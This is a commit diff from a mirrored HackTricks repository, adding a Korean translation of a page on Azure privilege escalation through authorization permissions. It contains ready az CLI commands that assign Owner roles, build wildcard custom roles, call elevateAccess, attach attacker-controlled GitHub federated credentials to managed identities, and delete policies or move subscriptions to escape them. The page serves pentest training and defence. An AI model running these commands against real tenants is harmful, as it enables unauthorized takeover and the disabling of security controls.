gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

Browse Source
This commit is contained in:
Translator
2026-05-05 13:20:14 +00:00
parent c6a508d0bd
commit f6ff453f07
1 changed files with 86 additions and 23 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md
+86 -23
View File
@@ -10,18 +10,45 @@
../az-services/az-azuread.md
{{#endref}}
principal이 **authorization 자체를 변경**할 수 있게 하는 permissions는 일반적으로 **privesc primitives**입니다. 이는 특히 **management group** 또는 **subscription** scope에 부여될 때 위험한데, permissions가 자식 resources로 상속되기 때문입니다.
### Microsoft.Authorization/roleAssignments/write
이 권한은 특정 scope 내에서 principals에게 roles를 할당할 수 있도록 허용하며, 공격자가 자신에게 더 높은 권한의 role을 할당하여 권한을 상승시킬 수 있게 합니다:
이 permission은 특정 scope에 role assignments를 생성할 수 있게 하며, 공격자가 자신 또는 자신이 통제하는 다른 principal에게 더 높은 권한의 role을 할당해 privileges를 escalate할 수 있게 합니다.
Typical flow:
```bash
# Login and confirm current context
az login
az account show
# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"
```
손상된 principal이 scope에 대해 이 action을 가지고 있다면, 해당 scope에서 `Owner`, `Contributor`, `Key Vault Secrets Officer` 또는 그 밖의 사용 가능한 built-in/custom role과 같은 privileged role을 직접 부여할 수 있습니다:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
타깃 user/service principal/managed identity의 **principal object ID**만 알아도 새 role을 부여하는 데 충분합니다. 이는 다른 통제 가능한 principal에 role을 할당함으로써 **self-privesc**, **lateral movement**, 또는 **persistence**에 악용될 수 있습니다.
이 권한은 role에 부여된 permissions를 수정할 수 있게 하여, attacker가 자신에게 할당된 role에 더 많은 permissions를 부여함으로써 escalate privileges할 수 있습니다.
### Microsoft.Authorization/roleDefinitions/write
이 permission은 custom role definition을 생성하거나 수정할 수 있게 합니다. 실제로 이는 위험한데, attacker가 다음을 할 수 있기 때문입니다:
- 이미 compromised principal에 **할당된** custom role을 수정하여, 새로운 permissions를 즉시 유효하게 만들 수 있습니다.
- 새로 over-privileged custom role을 생성한 뒤 이를 할당할 수 있으며, 보통 `Microsoft.Authorization/roleAssignments/write`와 chaining됩니다.
Typical flow:
```bash
# Find the current assignments
az role assignment list --all --output table
# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"
```
다음 **내용**으로 `role.json` 파일을 생성하세요:
```json
{
"roleName": "<name of the role>",
@@ -33,19 +60,22 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}
```
그런 다음 이전 정의를 호출하여 역할 권한을 업데이트하세요:
그런 다음 이전 정의를 호출하여 role permissions를 업데이트합니다:
```bash
az role definition update --role-definition role.json
```
수정된 role이 공격자에게 **이미 할당되어** 있다면, 새 role assignment를 만드는 것보다 더 빠른 경로가 될 수 있습니다. 왜냐하면 permission inflation이 기존 assignment에 적용되기 때문입니다.\
공격자가 `roleDefinitions/write`만 가지고 있어도, 이미 compromise된 principal에 할당된 roles를 수정해서 이를 weaponize할 수 있습니다.
### Microsoft.Authorization/elevateAccess/action
이 권한은 권한을 상승시켜 Azure 리소스에 대해 어떤 principal(주체)에게든 권한을 할당할 수 있게 합니다. 이는 Entra ID Global Administrators에게 부여되어 Azure 리소스에 대한 권한도 함께 관리할 수 있도록 설계된 것입니다.
이 permissions는 privilege를 elevate하고 Azure resources에 대해 어떤 principal에게든 permissions를 assign할 수 있게 해줍니다. 이는 Entra ID Global Administrators에게 부여되어, Azure resources에 대한 permissions도 관리할 수 있게 하려는 목적입니다.
> [!TIP]
> elevate 호출이 작동하려면 사용자가 Entrad ID에서 Global Administrator여야 하는 것으로 보입니다.
> elevate call이 동작하려면 사용자가 Entrad ID에서 Global Administrator여야 하는 것 같습니다.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
이 권한은 managed identities에 Federated credentials를 추가할 수 있도록 허용합니다. 예: repo의 Github Actions에 managed identity에 대한 액세스 권한을 부여합니다. 그러면, **어떤 사용자 정의된 managed identity든 접근할 수 있습니다**.
이 권한은 **user-assigned managed identities**에 **Federated Identity Credentials (FICs)**를 생성/업데이트할 수 있게 합니다. 실제로는 공격자가 외부 identity provider에 새 trust relationship을 추가한 뒤, 그 managed identity로서 token을 얻을 수 있게 해줍니다.
다음은 Github의 repo에 managed identity에 대한 액세스 권한을 부여하는 예제 명령입니다:
이것은 **persistence / identity hijacking primitive**입니다: managed identity가 이미 Azure resources에 대한 access를 가지고 있다면, 공격자는 일치하는 외부 workload(예: GitHub Actions workflow)만 만들고 외부 token을 Azure token으로 교환하면 됩니다.
악용하기 전에 확인할 유용한 포인트:
- 어떤 **managed identity**를 수정할 수 있는지
- 그 managed identity에 이미 할당된 **scope/roles**는 무엇인지
- token exchange 시 어떤 **issuer**, **subject**, **audience**가 허용되는지
전용 CLI command로 FIC를 생성할 수 있습니다:
```bash
az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"
```
또는 raw REST 사용.
managed identity에 GitHub repo 접근 권한을 부여하는 예시 command:
```bash
# Generic example:
az rest --method PUT \
@@ -71,19 +121,25 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
FIC가 생성되면, 공격자는 external workload에서 인증하고 Azure에서 이미 부여된 managed identity 권한을 사용할 수 있습니다. GitHub OIDC / workload identity를 악용하는 방법에 대한 자세한 내용은 다음을 확인하세요:
{{#ref}}
../az-basic-information/az-federation-abuse.md
{{#endref}}
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
`Microsoft.Authorization/policyAssignments/write` 또는 `Microsoft.Authorization/policyAssignments/delete` 권한을 management group, subscription, 또는 resource group에 대해 가진 공격자는 **Azure 정책 할당을 수정하거나 삭제할 수 있으며**, 잠재적으로 특정 작업을 차단하는 **보안 제한을 비활성화할 수 있습니다**.
management group, subscription, 또는 resource group에 대해 `Microsoft.Authorization/policyAssignments/write` 또는 `Microsoft.Authorization/policyAssignments/delete` 권한을 가진 공격자는 **Azure policy assignments를 수정하거나 삭제**할 수 있으며, 이를 통해 특정 작업을 차단하는 **security restrictions를 비활성화**할 수 있습니다.
이는 이전에 정책으로 보호되었던 리소스나 기능에 대한 접근을 허용합니다.
이로 인해 이전에는 policy로 보호되던 리소스나 기능에 접근할 수 있게 됩니다.
**정책 할당 삭제:**
**policy assignment 삭제:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**정책 할당 비활성화:**
**policy assignment 비활성화:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
@@ -103,17 +159,17 @@ az policy assignment show \
```
### Microsoft.Authorization/policyDefinitions/write
권한 `Microsoft.Authorization/policyDefinitions/write`를 가진 공격자는 **Azure policy definitions을 수정**하여 환경 전반의 보안 제한을 제어하는 규칙을 변경할 수 있습니다.
`Microsoft.Authorization/policyDefinitions/write` 권한이 있는 공격자는 **Azure policy definitions를 수정**하여 전체 환경에서 security restrictions를 제어하는 규칙을 변경할 수 있습니다.
예를 들어, 리소스 생성 시 허용되는 지역을 제한하는 정책은 모든 지역을 허용하도록 수정될 수 있으며, 또는 정책의 효과를 변경하여 무력화할 수 있습니다.
예를 들어, 리소스 생성에 허용되는 region을 제한하는 policy를 수정하여 어떤 region이든 허용하도록 만들거나, policy effect를 변경하여 무력화할 수 있습니다.
**정책 정의 수정:**
**policy definition 수정:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**변경 사항을 확인하세요:**
**변경 사항을 검증하세요:**
```bash
az policy definition list --output table
@@ -121,9 +177,9 @@ az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
`Microsoft.Management/managementGroups/write` 권한을 가진 공격자는 상위 레벨에 적용된 제한 정책을 회피하기 위해 **management groups의 계층 구조를 수정**하거나 **새 management group을 생성**할 수 있습니다.
`Microsoft.Management/managementGroups/write` 권한을 가진 공격자는 **management groups의 계층 구조를 수정**하거나 **새 management groups를 생성**할 수 있으며, 이로 인해 상위 수준에 적용된 제한적인 policy를 우회할 수 있습니다.
예를 들어, 공격자는 제한 정책이 없는 새 management group을 생성한 다음 subscriptions를 해당 그룹으로 이동시킬 수 있습니다.
예를 들어, 공격자는 restrictive policies가 적용되지 않은 새로운 management group을 생성한 다음 subscriptions를 그쪽으로 이동할 수 있습니다.
**새 management group 생성:**
```bash
@@ -147,18 +203,25 @@ az account management-group show \
```
### Microsoft.Management/managementGroups/subscriptions/write
권한 `Microsoft.Management/managementGroups/subscriptions/write`을 가진 공격자는 **구독을 관리 그룹 간에 이동**시킬 수 있으며, 덜 제한적이거나 정책이 없는 그룹으로 구독을 옮겨 **제한적인 정책을 회피**할 수 있습니다.
`Microsoft.Management/managementGroups/subscriptions/write` 권한을 가진 attacker는 **management groups 간에 subscriptions를 이동**할 수 있으며, 이를 통해 더 느슨하거나 아예 policy가 없는 group으로 subscription을 옮겨 **제한적인 policies를 우회**할 수 있습니다.
**구독을 다른 관리 그룹으로 이동:**
**subscription을 다른 management group으로 이동:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**변경 사항을 확인하세요:**
**변경 사항을 검증하세요:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
## References
- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
- [Assign Azure roles using the REST API - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
- [Create trust between user-assigned managed identity and external identity provider](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
{{#include ../../../banners/hacktricks-training.md}}